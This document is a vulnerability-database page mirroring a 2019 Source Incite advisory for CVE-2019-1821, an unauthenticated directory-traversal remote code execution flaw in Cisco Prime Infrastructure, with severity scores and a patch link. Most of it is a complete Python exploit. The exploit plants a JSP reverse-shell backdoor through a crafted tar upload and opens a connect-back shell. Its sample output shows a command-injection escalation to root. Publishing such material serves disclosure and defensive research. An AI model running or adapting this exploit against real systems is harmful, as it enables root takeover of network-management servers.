Lucene search

K
srcinciteSteven Seeley (mr_me) of Source InciteSRC-2019-0034
HistoryFeb 01, 2019 - 12:00 a.m.

SRC-2019-0034 : Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability

2019-02-0100:00:00
Steven Seeley (mr_me) of Source Incite
srcincite.io
23

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.968 High

EPSS

Percentile

99.7%

Vulnerability Details:

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Cisco Prime Infrastructure. Authentication is not required to exploit this vulnerability.

The specific flaw exists within the TarArchive class. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code under the context of root.

Affected Vendors:

Cisco

Affected Products:

Cisco Prime Infrastructure

Vendor Response:

Cisco has issued an update to correct these vulnerabilities. More details can be found at:
<https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190515-pi-rce&gt;

#!/usr/bin/python

"""
Cisco Prime Infrastructure Health Monitor HA TarArchive Directory Traversal Remote Code Execution Vulnerability
Steven Seeley (mr_me) of Source Incite - 2019
SRC: SRC-2019-0034
CVE: CVE-2019-1821

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.100.123 192.168.100.2:4444

saturn:~ mr_me$ ./poc.py 192.168.100.123 192.168.100.2:4444
(+) planted backdoor!
(+) starting handler on port 4444
(+) connection from 192.168.100.123
(+) pop thy shell!
python -c 'import pty; pty.spawn("/bin/bash")'
[prime@piconsole CSCOlumos]$ /opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
/opt/CSCOlumos/bin/runrshell '" && /bin/sh #'
sh-4.1# /usr/bin/id
/usr/bin/id
uid=0(root) gid=0(root) groups=0(root),110(gadmin),201(xmpdba) context=system_u:system_r:unconfined_java_t:s0
sh-4.1# exit
exit
exit
[prime@piconsole CSCOlumos]$ exit
exit
exit
"""

import sys
import socket
import requests
import tarfile
import telnetlib
from threading import Thread
from cStringIO import StringIO
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

def _build_tar(ls, lp):
    """
    build the tar archive without touching disk
    """
    f = StringIO()
    b = _get_jsp(ls, lp)
    t = tarfile.TarInfo("../../opt/CSCOlumos/tomcat/webapps/ROOT/si.jsp")
    t.size = len(b)
    with tarfile.open(fileobj=f, mode="w") as tar:
        tar.addfile(t, StringIO(b))
    return f.getvalue()

def _get_jsp(ls, lp):
    jsp = """<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
  class StreamConnector extends Thread
  {
    InputStream sv;
    OutputStream tp;
    StreamConnector( InputStream sv, OutputStream tp )
    {
      this.sv = sv;
      this.tp = tp;
    }
    public void run()
    {
      BufferedReader za  = null;
      BufferedWriter hjr = null;
      try
      {
        za  = new BufferedReader( new InputStreamReader( this.sv ) );
        hjr = new BufferedWriter( new OutputStreamWriter( this.tp ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = za.read( buffer, 0, buffer.length ) ) > 0 )
        {
          hjr.write( buffer, 0, length );
          hjr.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( za != null )
          za.close();
        if( hjr != null )
          hjr.close();
      } catch( Exception e ){}
    }
  }
  try
  {
    String ShellPath = new String("/bin/sh");
    Socket socket = new Socket("__IP__", __PORT__);
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>"""
    return jsp.replace("__IP__", ls).replace("__PORT__", str(lp))

def handler(lp):
    """
    This is the client handler, to catch the connectback
    """
    print "(+) starting handler on port %d" % lp
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", lp))
    s.listen(1)
    conn, addr = s.accept()
    print "(+) connection from %s" % addr[0]
    t.sock = conn
    print "(+) pop thy shell!"
    t.interact()

def exec_code(t, lp):
    """
    This function threads the client handler and sends off the attacking payload
    """
    handlerthr = Thread(target=handler, args=(lp,))
    handlerthr.start()
    r = requests.get("https://%s/si.jsp" % t, verify=False)

def we_can_upload(t, ls, lp):
    """
    This is where we take advantage of the vulnerability
    """
    td = _build_tar(ls, lp)
    bd = {'files': ('si.tar', td)}
    h = {
      'Destination-Dir': 'tftpRoot',
      'Compressed-Archive': "false",
      'Primary-IP' : '127.0.0.1',
      'Filecount' : "1",
      'Filename': "si.tar",
      'Filesize' : str(len(td)),
    }
    r = requests.post("https://%s:8082/servlet/UploadServlet" % t, headers=h, files=bd, verify=False)
    if r.status_code == 200:
        return True
    return False

def main():
    if len(sys.argv) != 3:
        print "(+) usage: %s" % sys.argv[0]
        print "(+) eg: %s 192.168.100.123 192.168.100.2:4444" % sys.argv[0]
        sys.exit(-1)
    t  = sys.argv[1]
    cb = sys.argv[2]
    if not ":" in cb:
        print "(+) using default connectback port 4444"
        ls = cb
        lp = 4444
    else:
        if not cb.split(":")[1].isdigit():
            print "(-) %s is not a port number!" % cb.split(":")[1]
            sys.exit(-1)
        ls = cb.split(":")[0]
        lp = int(cb.split(":")[1])
    if we_can_upload(t, ls, lp):
        print "(+) planted backdoor!"
        exec_code(t, lp)

if __name__ == '__main__':
    main()

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

10 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

0.968 High

EPSS

Percentile

99.7%